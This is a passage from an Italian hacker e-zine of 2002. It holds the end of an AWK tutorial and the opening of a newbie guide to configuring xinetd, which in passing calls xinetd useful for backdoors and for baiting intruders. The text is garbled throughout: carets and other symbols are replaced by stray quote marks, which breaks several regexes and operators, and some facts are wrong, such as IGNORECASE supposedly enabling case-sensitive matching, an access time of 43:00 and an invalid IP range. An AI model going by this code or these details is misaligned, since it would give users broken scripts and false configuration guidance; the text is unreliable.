| dei singoli campi. Ritornando all'esempio precedente, AWK prima |
| confronta il 3o campo con la parola "domine", dopodichè, se |
| combaciano, vengono stampati il 9o e il 5o campo di ogni riga. In |
| pratica, stampa nome e dimensione di tutti i file appartenenti |
| all'utente "domine". Lo spazio (" ") viene utilizzato da print come |
| operatore di concatenazione di stringhe (quindi i numeri sono |
| trattati come tali). |
| |
| E' possibile fare riferimento, al posto del pattern, all'inizio o al |
| termine della lettura del file; ad esempio le regole |
| |
| BEGIN { print "Ecco il risultato di AWK:" } # Esegue l'azione prima |
| # della lettura |
| |
| 1 { print $0 } # Questi commenti sono |
| # ignorati da AWK |
| |
| END { print "Resoconto terminato." } # Esegue l'azione dopo |
| # la lettura |
| |
| stampano il contenuto di un intero file, aggiungengo all'inizio e |
| alla fine delle stringhe di testo. Nella 2a regola come condizione |
| ho indicato "1" al posto di un pattern, poichè un qualsiasi valore |
| diverso da 0, per AWK, equivale a VERO, per cui per ogni riga 1 |
| restituirà VERO e verrà applicato il comando "print $0" (di |
| conseguenza, 0 = FALSO, Watson!). |
| |
| Per cui, che si tratti di un pattern, di un confronto o di una |
| indicazione esplicita d valori booleani, è come se la condizione a |
| sinistra sia simile ad una struttura IF, e solo se questa |
| restituisce vero (ossia verificando la corrispondenza di un pattern |
| con una stringa oppure confermando che un eventuale confronto sia |
| giusto) vengono eseguite delle azioni. |
| |
| Altri esempiacci: |
| |
| Dato il file lista.txt, contenente l'output di "ls -la", supponiamo |
| che sia passato all'elaborazione di questo script prova.awk . |
| |
| #!/usr/bin/awk -f |
| |
| $1 ~ /"-/ { |
| |
| totale += $5; # Il ; separa le istruzioni. |
| print "
Trovato il file " \ # Lo \, se si trova IN FONDO ad una |
| $9 # riga, permette di scrivere un |
| # comando su più righe |
| } |
| |
| END { print "
Totale = " totale } |
| |
| Questo script legge l'output di "
ls -la" e, come nel caso |
| precedente, ne esamina i campi. Nella prima regola, l'operatore ~ |
| confronta il campo $1 (contenente ad esempio "
-rw-r--r--") con la |
| regex "
/"-/", la quale verifica che all'inizio del campo vi debba |
| essere esclusivamente un - (questo non accade, ad esempio, nel caso |
| delle directory). Per cui, grazie a questa regola, potremo far sì |
| che le istruzioni da noi indicate riguardino solamente i file e non |
| gli altri elementi nella directory. Dopodichè, per ogni file |
| trovato, l'interprete aggiunge la sua dimensione alla variabile |
| TOTALE (poichè non è stata dichiarata in precedenza, il suo valore |
| viene automaticamente settato come uguale a 0). |
| Inoltre, viene stampata la riga "Trova il file NOMEFILE". Alla fine |
| la variabile TOTALE conterrà la dimensione di tutti i file e sarà |
| stampata sullo schermo. L'opposto di "~" è l'operatore "!~" (! |
| corrisponde sempre alla negazione logica). Nel caso in cui sia |
| presente solamente il pattern, allora si sottindende la sintassi |
| |
| $0 ~ /regex/ |
| |
| PS: Per invertire il significato logico della condizione avrei anche |
| potuto scrivere (questo vale in generale): |
| |
| !( $1 ~ /"-/) { istruzioni... } |
| |
| Dato invece il seguente script |
| |
| $0 ~ /\/\*/, /\*\// { print $0 } # Le due regex contengono "
/*" e |
| # "
*/
" protetti da alcuni \ |
| |
| vengono stampate le eventuali righe di commento racchiuse tra i |
| simboli "
/*" e "*/" di un sorgente C. Infatti la sintassi |
| |
| espressione1, espressione2 |
| |
| indica all'interprete di applicare le istruzione indicate alla riga |
| che soddisfa ESPRESSIONE1, e anche a tutte le righe seguenti finchè |
| una di esse non soddisfa ESPRESSIONE2; dopodichè, le righe seguenti |
| vengono esaminate e se viene riscontrata ancora ESPRESSIONE1 le |
| istruzioni vengono nuovamente applicate alle righe fino al riscontro |
| di ESPRESSIONE2, e così via.

  
|
| |
| |
| ESPRESSIONI REGOLARI |
| |
| |
| Che cosa vi avevo detto? Andatevi a leggere il mio articolo sulle |
| Regular Expression, perchè le cose non le voglio ripetere due volte! |
| Oltre ai metacaratteri che ho già descritto, GAWK contiene i |
| seguenti: |
| |
| \w Comprende lettere, numeri e underscore (come [[:alnum:]_]). |
| \W Contrario del precedente (come ["[:alnum:]_]). |
| \< Combacia con una stringa vuota davanti alla parola. |
| (es. /\<Domine/ combacia con Domine, non con SigDomine) |
| \> Combacia con una stringa vuota alla fine della parola. |
| (simile a \<) |
| \y Combacia con una stringa vuota all'inizio e alla fine di |
| una parola. |
| \B Combacia con una stringa vuota all'interno di una parola |
| (opposto di \y). |
| |
| |
| VARIABILI PREDEFINITE |
| |
| FS Separatore di campo in input. (predefinito "
") |
| |
| OFS Separatore di campo in output. "
" " |
| |
| RS Separatore di record input. (predefinito "\n") |
| |
| ORS Separatore di record in output. " " " |
| |
| IGNORECASE * Se è diversa da 0 o da "", i confronti tra stringhe |
| e le regex sono CASE SENSITIVE. |
| |
| ARGV L' array contenente gli argomenti passati allo |
| script. (ARGV[0] == awk) |
| |
| ARGC Il numero di elementi contenuti da ARGV. |
| |
| ERRNO * Contiene una stringa che descrive un eventuale |
| errore. |
| |
| FILENAME Nome del file attuale in input ("
-" se legge dallo |
| STDIN). |
| |
| FNR Contiene il numero del record letto dal file attuale. |
| |
| NF Numero di campi nel record attuale in input. |
| |
| NR Numero di record letti da AWK fino a quel momento. |
| |
| RLENGTH Contiene la lunghezza riscontrata dall'ultimo uso di |
| match(). |
| |
| RSTART Contiene l'inizio del riscontro dell'ultimo uso di |
| match(). |
| |
| |
| * si tratta di estensioni particolari di GAWK |
| |
| |
| Fondamentale per AWK è il valore delle variabili FS ed RS. La prima |
| infatti contiene il carattere che l'interprete leggerà come |
| separatore di campi, e può contenere anche un'espressione regolare; |
| il suo valore è "
" e permette di separare campi incolonnati tramite |
| uno o più spazi. La seconda definisce il carattere per separare i |
| dati in ingresso in record, ed è settata come "
\n", l'interruzione |
| di riga nella maggior parte degli Unix; se fosse settata come |
| "", la separazione avverrebbe tramite le righe vuote. |
| |
| Sì può settare il separatore di campi anche al momento del richiamo |
| dell'interprete con l'opzione "
-F" seguita dal carattere scelto. E' |
| possibile inoltre settare una o più variabili sempre in quel momento |
| con l'opzione "
-v" seguita dalla coppia "nome=valore". |
| |
| |
| STRUTTURE DI CONTROLLO |
| |
| AWK offre i costrutti di controllo simili a quelli del linguaggio C. |
| Per racchiudere più istruzioni, quest'ultime vanno racchiuse da |
| parentesi graffe e separate tra di loro da un punto e virgola o un |
| ritorno a capo. |
| |
| Vi scrivo la sintassi e un esempio per ognuna, poi ve la piangete |
| voi (tanto la solfa è sempre la stessa) :-] |
| |
| |
| if (condizione) istruzioni [else istruzioni] |
| |
| |
| if (x % 2 == 0) |
| print "
x è pari" |
| else |
| print "
x è dispari" |
| |
| --- |
| |
| while (condizione) |
| istruzioni |
| |
| |
| { i = 1 |
| while (i <= 3) { |
| print i |
| i++ |
| } |
| } |
| |
| --- |
| |
| do |
| istruzioni |
| while (condizione) |
| |
| |
| { i = 1 |
| do { |
| print $0 |
| i++ |
| } while (i <= 10) |
| } |
| |
| --- |
| |
| for (inizializzazione; condizione; incremento) |
| istruzioni |
| |
| |
| { for (i = 1; i <= 3; i++) |
| print i |
| } |
| |
| --- |
| |
| ciclo () { |
| istruzioni |
| break # interrompe il ciclo |
| } |
| |
| |
| # trova il divisore più piccolo di un numero |
| { num = $1 |
| for (div = 2; div*div <= num; div++) |
| if (num % div == 0) |
| break |
| if (num % div == 0) |
| print "
Il divisore più piccolo di " num " è " div |
| else |
| print num "
è un numero primo" |
| } |
| |
| Un esempio creativo, certamente! :-)) |
| |
| --- |
| |
| ciclo () { |
| istruzioni |
| continue # Conclude l'iterazione corrente |
| istruzioni |
| } |
| |
| |
| { |
| for (x = 0; x <= 20; x++) { |
| if (x == 5) |
| continue # Se x = 5, non esegue "
print x" ma ritorna a |
| # for; per cui lo script stampa i numeri da 1 |
| print x # a 20 tranne il 5. |
| } |
| } |
| |
| --- |
| |
| PS: Esiste, così come per altri linguaggi, una sintassi alternativa |
| per IF: |
| |
| condizione ? istruzioni1 : istruzioni2 |
| |
| Se CONDIZIONE restituisce vero, vengono eseguite le ISTRUZIONI1, in |
| caso contrario ISTRUZIONI2 |
| |
| --- |
| |
| I prossimi li spiego, và :-) |
| |
| - NEXT |
| |
| Forza AWK ad interrompere l'elaborazione del record attuale per |
| passare al prossimo, per cui nessuna altra regola viene eseguita per |
| quel record. |
| |
| NF != 4 { |
| print "
Riga n " FNR " saltata: NF != 4" > "/dev/stderr" |
| next |
| } |
| |
| Questa regola fa sì che non vengano elaborate i record con un numero |
| di campi diverso da 4, e stampa un errore sullo STDERR. |
| |
| - NEXTFILE |
| |
| Simile a NEXT, questo fa in modo che l'elaborazione del file |
| corrente sia interrotta per passare poi al file successivo indicato |
| dalla riga di comando. |
| Se non è stato specificato un altro file all'avvio dello script, |
| l'interprete esegue le istruzioni associate ad END e termina la sua |
| esecuzione. NEXTFILE è fornito da GAWK. |
| |
| - EXIT |
| |
| exit [valore di uscita] |
| |
| Causa l'interruzione immediata dell'esecuzione dello script, e |
| restituisce il valore specificato (altrimenti, 0). |
| |
| |
| FUNZIONI INTERNE (BUILT-IN) |
| |
| Le funzioni seguenti sono interne all'interprete, e sono |
| richiamabili in qualunque istante. Basta indicarne il nome seguito |
| dagli argomenti, racchiusi fra parentesi tonde (indicherò tra [] gli |
| argomenti opzionali). NON SI DEVE mettere alcuno spazio tra il nome |
| della funzione e le (). :-P |
| |
| |
| - FUNZIONI NUMERICHE |
| |
| |
| - int(x) |
| |
| Restituisce la parte intera del numero specificato. |
| |
| - sqrt(x) |
| |
| Restituisce la radice quadrata di x (se x<0, darà errore). |
| |
| - exp(x) |
| |
| Restituisce "
e" (~ 2.71828) elevato alla x (see: man nepero :-]). |
| |
| - log(x) |
| |
| Restituisce il logaritmo naturale (in base "
e") di x. |
| |
| - sin(x) |
| |
| Restituisce il seno di x (x espresso in radianti). |
| |
| - cos(x) |
| |
| Restituisce il coseno di x (x espresso in radianti). |
| |
| - atan2(y,x) |
| |
| Restituisce l'arcotangente di y / x (sempre in radianti). |
| |
| - rand() |
| |
| Restituisce un numero a caso tra 0 e 1. |
| |
| PS: la seguente funzione |
| |
| function casuale(n) { int(rand() * n) } |
| |
| restituisce un numero fra 0 ed n. |
| |
| - srand([x]) |
| |
| Emette una sequenza di numeri pseudo-casuali in base al valore di x. |
| In pratica, se richiamo 2 volte la funzione con x inalterato, |
| otterrò per 2 volte la stessa sequenza numerica. Se x non è |
| specificato, viene usato un numero composto dalla data ed ora |
| odierna. |
| |
| |
| - FUNZIONI DI MANIPOLAZIONE DI STRINGHE |
| |
| |
| - index(stringa, find) |
| |
| Cerca FIND in STRINGA, e restituisce la posizione di FIND |
| all'interno di STRINGA. |
| |
| index("
Vercingitorige","tori") # Restituisce 9, il numero della |
| # posizione della lettera "
t" |
| |
| - length([stringa]) |
| |
| Restituisce il numero di caratteri di STRINGA, oppure il numero di |
| cifre di un numero indicato in STRINGA. |
| |
| Notare: length(3 * 4) restituisce 2, perchè AWK esegue prima |
| un'espansione aritmetica del contenuto, essendoci l'operatore "
*" . |
| |
| Se STRINGA non viene specificata, viene usata $0. |
| |
| - match(stringa, regex) |
| |
| Cerca all'interno di STRINGA, a partire da sinistra, un riscontro con |
| l'espressione regolare REGEX, restituendo la posizione del carattere |
| iniziale della sottostringa trovata (vedi INDEX). Se non viene |
| trovato riscontro, restituisce 0. L'index trovato viene annotato |
| nella variabile RSTART, mentre la lunghezza della sottostringa |
| trovata va in RLENGTH (pari a -1 se non viene trovato un riscontro). |
| |
| - split(stringa, array [, separatore]) |
| |
| Divide la STRINGA in più parti in base al SEPARATORE specificato, e |
| copia le varie parti nell'ARRAY a partire da ARRAY[1]. Infine |
| restituisce un numero pari al numero di parti ottenute dallo split |
| di STRINGA. Se SEPARATORE non viene specificato, viene usata la |
| variabile FS; esso può essere anche una espressione regolare. |
| |
| split("
31/08/2001",arrei,"/") # arrei[1]=31, arrei[2]=08, |
| arrei[3]=2001 |
| |
| - sprintf(formato, espressione1,..) |
| |
| Restituisce (senza stampare sullo schermo) quello che avrebbe |
| stampato printf() con quegli argomenti... man printf !! |
| |
| - sub(regex, rimpiazzo [, obiettivo]) |
| |
| Cerca all'interno della stringa OBIETTIVO l'espressione regolare |
| REGEX, e sostituisce la sottostringa trovata con il contenuto di |
| RIMPIAZZO. SUB modifica quindi il contenuto della variabile |
| OBIETTIVO (se non viene specificata, viene usata $0). Infine |
| restituisce il numero di sostituzioni effettuate (0 oppure 1). |
| |
| stringa = "
sopra la panca la capra campa" |
| sub(/panca/,"
panchina",stringa) |
| print stringa # stampa: sopra la panchina la capra campa |
| |
| E' possibile fare riferimento, sempre all'interno di SUB, alla |
| sottostringa trovata tramite la variabile "
&" . Si può quindi |
| aggiungere, invece che sovrascrivere. |
| |
| stringa = "
My nick is Domine" |
| sub(/Domine/,"
Mr. &",stringa) |
| print stringa # stampa: My nick is Mr. Domine |
| |
| - gsub(regex, rimpiazzo [, obiettivo]) |
| |
| Stessa cosa di SUB, soltanto che opera su TUTTI i riscontri trovati |
| su OBIETTIVO. Restituisce il numero di rimpiazzi effettuati. |
| |
| - gensub(regex, rimpiazzo, modalità [, obiettivo]) |
| |
| Stessa cosa di SUB e GSUB, soltanto che non modifica il contenuto di |
| OBIETTIVO ma restituisce essa stessa la stringa ottenuta dopo |
| l'eventuale sostituzione. |
| Se MODALITA' è una stringa che comincia per "
g" o "G", tutti i |
| riscontri vengono sostituiti, altri deve essere un numero, che |
| indicherà quale dei riscontri rimpiazzare. Inoltre, è possibile |
| riferirsi alle parti della REGEX all'interno del rimpiazzo, usando |
| le () e variabili di tipo \n (n è un numero fra 1 e 9). |
| |
| { |
| stringa = "
domine@paranoici.org" |
| print gensub(/(.+)\@(.+)/, "
\\1 at \\2", "g", stringa) |
| # stampa: domine at paranoici.org |
| } |
| |
| { |
| stringa = "
altavista" |
| print gensub(/t/, "
p", 2, stringa) |
| # sostituisce solo la 2a "
t", quindi stampa "altavispa" |
| } |
| |
| - substr(stringa, inizio [, lunghezza]) |
| |
| Restituisce una sottostringa di STRINGA a partire dal carattere |
| numero INIZIO e prendendo numero LUNGHEZZA caratteri (oppure i |
| caratteri fino alla fine della stringa iniziale, se LUNGHEZZA non è |
| specificato). |
| |
| substr("
disonore", 4) # stampa: onore (thanks to H. J. Simpson :-)) |
| |
| substr("
domine@paranoici.org", 3, 4) # stampa: mine |
| |
| - tolower(stringa) |
| |
| Restituisce STRINGA con tutti i caratteri minuscoli. |
| |
| - toupper(stringa) |
| |
| Restituisce STRINGA con tutti i caratteri maiuscoli. |
| |
| |
| FUNZIONI DEFINITE DALL'UTENTE |
| |
| AWK permette che una serie di istruzioni vengano associate ad una |
| funzione, la quale si comporterà proprio come un comando interno |
| dell'interprete. |
| |
| |
| function nome(argomenti) { |
| istruzioni |
| } |
| |
| |
| All'interno delle parentesi vanno indicati gli argomenti che verrano |
| passati alla funzione, e non sarà possibile definire in altro modo |
| altre variabili locali della funzione. |
| |
| function somma(x, y) { |
| z = x + y |
| return z |
| } |
| |
| BEGIN { |
| print somma(1,3) # Chi l'ha detto che solo 2 + 2 fa 4 ? :-P |
| } |
| |
| Il classico esempio di somma tra 2 interi :-)) |
| |
| |
| OPERATORI |
| |
| Ecco una lista degli operatori utilizzati da AWK (qui ordinati in |
| base alla loro precedenza rispetto agli altri). |
| |
| () Raggruppamento (L'operazione al loro interno ha la |
| precedenza, e vengono utilizzate per nidificare gli |
| operatori). |
| |
| $ Indica che ci si sta riferendo ad un campo. |
| |
| ++ -- Incremento e decremento |
| |
| "
Esponenziale |
| |
| + - ! Più, meno e negazione logica (unari). |
| |
| * / % Moltiplicazione, divisione, modulo. |
| |
| + - Addizione, sottrazione |
| |
| Concatenazione (viene utilizzato uno spazio vuoto). |
| |
| < <= == != > >= >> | Relazione e ridirezione (hanno la stessa |
| precedenza). |
| |
| ~ !~ Corrispondenza, Non Corrispondenza. |
| |
| in Unione di array. |
| |
| && "And" logico. |
| |
| || "Or" logico. |
| |
| ?: Condizionale. |
| |
| = += -= *= /= %= "= Assegnamento. |
| |
| |
| ARRAY |
| |
| AWK permette l'utilizzo di array mono-dimensionali di tipo |
| associativo (ossia l'indice di ogni elemento è considerato come una |
| stringa, anche se numerio)... un po' tipo gli hash in PERL :-) |
| |
| La dichiarazione dei nomi e dei contenuti degli elementi di un array |
| avviene in modo analogo a quello delle variabili, anche se non è |
| possibile utilizzare una variabile come parte di un array e |
| viceversa. |
| |
| arri[1]="
blahblah" |
| arri["
blah"]="1" |
| arri["
cane"]="bau" |
| arri[10]="
dieci" |
| |
| ecco un esempio strampalato di array misto :-) |
| |
| Il semplice riferirsi ad un array o ad un suo elemento inesistente |
| fa sì che questo venga creato; se non sono assegnati valori |
| l'elemento conterrà "". Per verificare si può ricorrere |
| all'operatore IN |
| |
| indice in array |
| |
| Se ARRAY[INDICE] esiste, IN restituisce 1, oppure 0 in caso |
| contrario. |
| |
| Per effettuare la scansione di un array si utilizza invece il |
| costrutto FOR |
| |
| for (var in array) |
| istruzioni |
| |
| Questo ciclo esegue ISTRUZIONI per ogni elemento dell'array; per ogni |
| iterazione, l'indice dell'elemento corrente viene assegnato alla |
| variabile VAR. |
| |
| { |
| for (i = 1; i <= NF; i++) { |
| campi[$i] = 1 |
| } |
| for (x in campi) { |
| if (x ~ /ciao/) { |
| print "
Sottostringa riscontrata nel campo " x |
| } |
| } |
| } |
| |
| Questo script assegna prima i campi del record ad un indice |
| dell'array CAMPI, dopodichè cerca all'interno di questi indici una |
| espressione regolare e stampa un messaggio indicante quale campo |
| conteneva la regex. |
| |
| L'ordine con cui si accede agli array non è prevedibile quindi |
| bisogna stare mooolto attenti a quel che si scrive :-) |
| |
| { |
| x = 0 |
| for (i = NF; i >= 1; i--) { |
| campi[x] = $i |
| x++ |
| } |
| x = 0 |
| for (i in campi) { |
| printf("
%s ",campi[x]) |
| x++ |
| } |
| printf("
\n"); |
| delete campi |
| } |
| |
| Avete appena visto un bel modo di scannare gli elementi di un array |
| in modo ordinato! Alla fine, questo script stamperà il documento |
| disponendo al contrario l'ordine delle parole :-] |
| |
| Ecco alcuni modi per eliminare gli elementi di un array: |
| |
| delete array[indice] # oppure il semplice delete array |
| |
| for (var in array) |
| delete array[var] |
| |
| split("", array) # In tal modo split sovrascrive con "" |
| # l'intero array |
| |
| |
| THE END (!) |
| |
| Evvabbè penso che sia sufficiente... Se volete saperne di più a |
| riguardo, le porte di internet sono aperte :-) |
| |
| Byez |
| |
| |
| |
| by Domine |
| |
| Mail: domine@paranoici.org |
| WWW: http://www.autistici.org/domine/index.php |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ LiNUX #07 - 01/08/2002 |
| GUiDA PRATiCA ALL0 XiNETD [CiLi0] 0x0B/0x19 |
+--------------------------------------------------------------------------+
| |
| |
| a8888b. |
| d888888b. |
| 8P"
YP"Y88 ================================== |
| 8|.||.|88 GUIDA PRATICA ALLO XINETD |
| 8' .88 By CiLi0 |
| 8`._.' Y8 |
| --- MENU --- best view 1024x768 |
| with /dev/brain |
| |
| ° INTRODUZIONE |
| ° XINETD : COS'E' ? |
| ° A COSA MI SERVE ? ===== powered by GNU/Emacs ====== |
| ° COME LO CONFIGURO ? |
| - valori essenziali |
| - esempio |
| - valori supplementari |
| - esempi |
| ° LOG DELLE CONNESSIONI |
| ° OPERATORE D'ASSEGNAZIONE |
| ° USO FILE ESTERNI |
| ° USO CON SERVER STANDARD |
| ° CONCLUSIONE |
| |
| --- MENU --- |
| |
| |
| |
| 0 - INTRODUZIONE |
| |
| |
| io sono solo un newbie, tutto quello riportato è frutto di esperienze |
| personali e quindi del tutto discutibili : qualcosa potrebbe essere |
| sbagliato o non funzionante, o potrei aver scritto grosse stupidate. |
| Me ne scuso in anticipo e spero che l'articolo soddisfi, almeno in |
| minima parte, le |
| vostre richieste di "
lettore". |
| |
| DeDiCaTe To : green_beret (NO COMMENT :), rubin (anche se non se lo |
| merita :), Linus Torvalds( solo una cosa si può scrivere :-**** ), |
| Neatius&AtomoZero(BE DIFFERENT ) |
| |
| TeMPo Di LaVoRaZioNe : 3 giorni (15/05/02 - 18/05/02 ) |
| |
| MuSiCa : Punkreas, Rancid e tutti gli altri punkinari... |
| |
| |
| E adesso si comincia... :))) |
| |
| |
| 1 - XINETD : COS'E' ? |
| |
| "
xinetd performs the same function as inetd: it starts pro- grams that |
| provide Internet services. Instead of having such servers started |
| at system initialization time, and be dormant until a connection |
| request arrives, xinetd is the only daemon process started and it |
| listens on all service ports for the services listed in its |
| configuration file. When a request comes in, xinetd starts the |
| appropriate server. Because of the way it operates, xinetd (as well |
| as inetd) is also referred to as a super-server." |
| |
| |
| tralasciando il mio pessimo inglese,potremmo dire, traducendo (molto |
| liberamente) che lo xinetd non è altro che una sofisticazione del |
| vecchio inetd. Anch'esso è un (internet) super-daemon. Una volta fatto |
| partire è l'unico(insieme al tcp_wrapper) che si occupa della gestione |
| delle connessioni ai vari demoni presenti sul sistema. Le Opzioni di |
| xinetd sono innumerevoli e molto interessanti(basta vedere la man |
| page), integra un tcp_wrapper interno molto completo, permette di |
| redirigire connessioni indirizzate a determinate porte verso un altro |
| host e molto di più. |
| |
| 2 - A COSA MI SERVE ? |
| |
| la risposta diventa ovviamente scontata, senza lo xinetd non è |
| possibile gestire i diversi demoni come sendmail,ssh,telnetd,ftpd e |
| tutti gli altri. E' inoltre utile per creare backdoor (come si faceva |
| con inetd) o,al contrario, creare falsi server netbus,bo2k,sub7 etc.. |
| in modo da divertirsi di tanto in tanto con il lamero di turno. |
| Quest'ultima opzione può essere sfruttata più seriamente per creare |
| dei propri server personali. |
| |
| |
| |
| 3 - COME CONFIGURARLO ? |
| |
| il cuore che fa si che xinetd possa funzionare è il file di |
| configurazione /etc/xinetd.conf , configurando a dovere quest'ultimo |
| file è possibile far fare quel che si vuole allo xinetd. Vediamo ora |
| come strutturare un possibile servizio xinetd. Per prima cosa si crea |
| una funzione (se così si può definire di questo tipo: |
| |
| service nomeservizio |
| { |
| attributo <opzioni attributo> |
| ... |
| } |
| |
| si può creare service telnet , service ftp o quel che si vuole. |
| Passiamo ora all'analisi degli attributi, ovvero il corpo della |
| funzione riguardate qualsiasi servizio,i quali permettono di |
| influenzare il comportamen to.come,giustamente la man page dice, i |
| fondamentali sono : |
| |
| |
| 1 socket_type |
| 2 user |
| 3 wait |
| 4 server |
| 5 port |
| 6 protocol |
| |
| 1 - da qui si decide il tipo di pacchetto da utilizzare stream(tcp) |
| dgram (udp) raw(raw socket) |
| |
| 2 - determina l'uid del demone, questo valore non è preso in |
| considerazioen se uid dello stesso xinetd non è 0 (root) |
| |
| 3 - al pari dell'opzione del vecchio inetd,serve a decidere se il |
| server è multi-threaded oppure no, ovvero se gestire più connessioni o |
| solo una alla volta |
| |
| 4 - si indica il path dove è situato il server, ad esempio |
| /usr/sbin/in.telnetd o quel che si voglia. |
| |
| 5 - la porta su cui il server si mette il listening, se questa è una |
| porta standard(ovvero è presente in /etc/services ) il nome del |
| servizio deve essere uguale a quello descritto nella prima colonna di |
| services. Nel caso invece non fosse una porta standard, va aggiunta a |
| /etc/services secondo la sintassi di quest'ultimo. |
| |
| 6 - il protocollo utilizzato per instaurare la connessione, i valori |
| accettati sono quelli definiti in /etc/protocols, se si tratta di un |
| proto non presente in quest'ultimo file , si usa il protocollo di |
| default del server lanciato. |
| |
| |
| ad esempio |
| |
| service telnet |
| { |
| socket_type = stream |
| protocol = tcp |
| wait = no |
| user = nobody |
| server = /usr/sbin/in.telnetd |
| } |
| |
| |
| Proviamo allora a creare un semplice shell script (che sarà il nostro |
| server) con la classica scritta "
Hello World!" e a farla apparire ad |
| una connessione avvenuta sulla porta 615(non standard, quindi va |
| aggiunto a /etc/services) |
| |
| hmmp-ind 612/udp dqs313_intercell # HMMP Indication / DQS |
| ldaps 636/tcp # LDAP over SSL |
| |
| |
| lo faccio diventare : |
| |
| |
| hmmp-ind 612/udp dqs313_intercell # HMMP Indication / DQS |
| hello 615/tcp hello #prova per xinetd |
| ldaps 636/tcp # LDAP over SSL |
| |
| |
| |
| (ricordiamoci che services è case-sensitive) |
| Creiamo lo script |
| |
| |
| [root@localhost cili0]# vi /etc/services |
| [root@localhost cili0]# cat << EOF > hello.sh |
| > #! /bin/sh |
| > echo "
Hello World!" |
| > EOF |
| [root@localhost cili0]# chmod +x hello.sh |
| [root@localhost cili0]# ./hello.sh |
| Hello World! |
| [root@localhost cili0]#mv /home/cili0/hello.sh /usr/sbin/in.hello |
| |
| |
| ora posso editare xinetd.conf ed aggiungere |
| |
| service hello |
| { |
| socket_type = stream |
| protocol = tcp |
| wait = no |
| user = root |
| server = /usr/sbin/in.hello |
| } |
| |
| aggiungere hello ad hosts.allow : |
| |
| [root@localhost cili0]# echo "
in.hello:127.0.0.1" >> /etc/hosts.allow |
| |
| |
| fatto ciò dobbiamo killare internet daemon con un segnale appropriato, |
| non SIGHUP come molti si sarebbero aspettati, ma bensi SIGUSR2. Detto |
| fatto: |
| |
| [root@localhost cili0]# ps -ax | grep xinetd |
| 801 ? S 0:00 xinetd -stayalive -reuse -pidfile |
| /var/run/xinetd.pid |
| 1641 pts/1 S 0:00 grep xinetd |
| [root@localhost cili0]# kill -12 801 |
| |
| (possiamo anche mandare SIGQUIT,in modo da chiudere xinetd,entrare in |
| una shell nativa come root e dgtare xinetd -stayalive -reuse -pidfile |
| /var/run/xinetd.pid ) |
| |
| Ecco fatto il nostro servizio con l'accoppiata xinetd/tcpd proviamo il |
| nosto serverino : |
| |
| |
| [root@localhost cili0]# exit |
| exit |
| [cili0@localhost cili0]$ telnet 127.0.0.1 615 |
| Trying 127.0.0.1... |
| Connected to 127.0.0.1. |
| Escape character is '"
]'. |
| Hello World! |
| Connection closed by foreign host. |
| [cili0@localhost cili0]$ |
| |
| Bene tutto funziona :)) ma abbiamo esaminato solo una minima parte |
| della potenza che xinetd ci mette a disposizione.Vediamo qualche altra |
| opzioncina simpatica :) |
| |
| prima di tutto l'opzione di tcp_wrapper interna, della quale avevo già |
| accennato le possibilità, in questo caso l'attributo da utilizzare è |
| questo : |
| |
| only_from : può qui essere specificato un signolo indirizzo IP come un |
| range. Le forme acettate da questo attributo sono : |
| |
| 1- ip singolo : 131.145.32.13 (può essere sostituito a 127.0.0.1) |
| 2- subnet : 131.145.32.0, in questo modo tutto la subnet può |
| avere acesso a questo servizio da 131.145.32.0 fino a 255 |
| (0.0.0.0 è quindi tutto internet ) |
| 3- range ip : 131.145.32/44 solo gli indirizzi da 32 a 44(compresi) |
| |
| |
| quando si hanno più indirizzi,singoli,più range di ip,più subnet si |
| distanziano l'una dall'altra con uno spazio |
| |
| only_from = 131.145.32.5 192.175.32.3/9 151.121.234.0 |
| |
| Tornando a casi più semplici, basta aggiungere, per esempio : |
|

  
|
| only_from = 131.145.32.0/132 (permette la connessione solo ad un range |
| di ip) |
| |
| NB : se /usr/sbin/tcpd (tcp_wrapper) è già installato, questa |
| funzionalità diventa marginale, dato che comunque è necessario editare |
| /etc/hosts.allow e hosts.deny. Se invece tpcd non è installato l'unico |
| modo per filtrare le connessioni è questo. |
| |
| |
| Sempre sulla scia delle limitazioni :) è possibile impostare la banda |
| massima che il servizio deve utilizzare, l'arco di tempo in cui il |
| servizio è disponibile o a chi non rendere disponibile il |
| servizio,quante persone possono usufruire contemporaneamente del |
| service e quanta memoria massima può utilizzare : |
| |
| 1 no_access |
| 2 access_times |
| 3 instances |
| 4 rlimit_as |
| 5 deny_time |
| 6 redirect |
| 7 server_arg |
| |
| 1 - non si dovrebbe nemmeno commentare :) segue comunque le stesse |
| regole sintattiche di only_from e serve *naturalmente* a decidere CHI |
| non può entrare. |
| |
| 2 - grazie a questo attributo si può sceglire l'arco di tempo in cui è |
| possibile collegarsi la sintassi è la seguente --> ora:mininizio |
| -minfine:mininizio si può quindi spaziare con un intervallo ce va da 0 |
| fino a 59 minuti. Le ore sono accettare da 0-23. Anche in questo |
| caso se si hanno più orari basta dividerli con uno spazio. |
| |
| 3 - potete stabilire quante persone contemporaneamente possono |
| connettersi. Accetta SOLO un valore. |
| |
| 4 - si può impostare quanta memoria il servizio ha a disposizione. Il |
| valore può essere espresso in M o K (case-sensitive, mi raccomando |
| maiuscole) |
| |
| 5 - stesse regole di access_time, ma questa volta si decidono gli |
| orari un cui non far entrare. |
| |
| 6 - veramente simpatica questa opzione permette di fare un redirect |
| verso un altro host. la sintassi è questa redirect = 192.145.23.45 25 |
| quindi <ip> <porta> ESEMPIETTO : mettiamo il caso che qualcuno si |
| connetta frequentemente ad una porta del vostro pc loggando il suo |
| ip(vedi sezione 4) aggiugnendo un redirect alla stessa porta questo |
| qui vedrà il suo firewall avvisarlo di un attacco identico al suo |
| sulla medesima porta :) lo so che può sembrare stupido ma la cosa |
| diventerebbe divertente :) |
| |
| 7 - gli argomenti da passare al server, ad esempio nel caso del wu_ftp |
| potrebbero essere: |
| |
| server_args= -l -a (vero rubin :) ? ) |
| |
| |
| possiamo quindi creare qualcosa di simile : |
| |
| service hello |
| { |
| socket_type = stream |
| protocol = tcp |
| wait = no |
| user = root |
| server = /usr/sbin/in.hello |
| only_from = 191.145.34.0 |
| no_access = 142.23.43.5/15 |
| access_times = 9:00-43:00 |
| instances = 13 |
| rlimit_as = 3M |
| deny_time = 23:00-23:00 |
| } |
| |
| Mi sembra tutto abbastanza lineare o no :) ? |
| |
| |
| |
| 4 - LOG DI CONNESSIONI |
| |
| mi è sembrato opportuno dedicare una sezione a parte per parlare del |
| modo in cui xinetd logga le connesioni avvenute con sucesso e non e |
| sopratutto dove vanno a finire questi preziosi dati . I principali |
| attributi sono : |
| |
| |
| 1 log_type |
| 2 log_on_succes |
| 3 log_on_failure |
| |
| |
| |
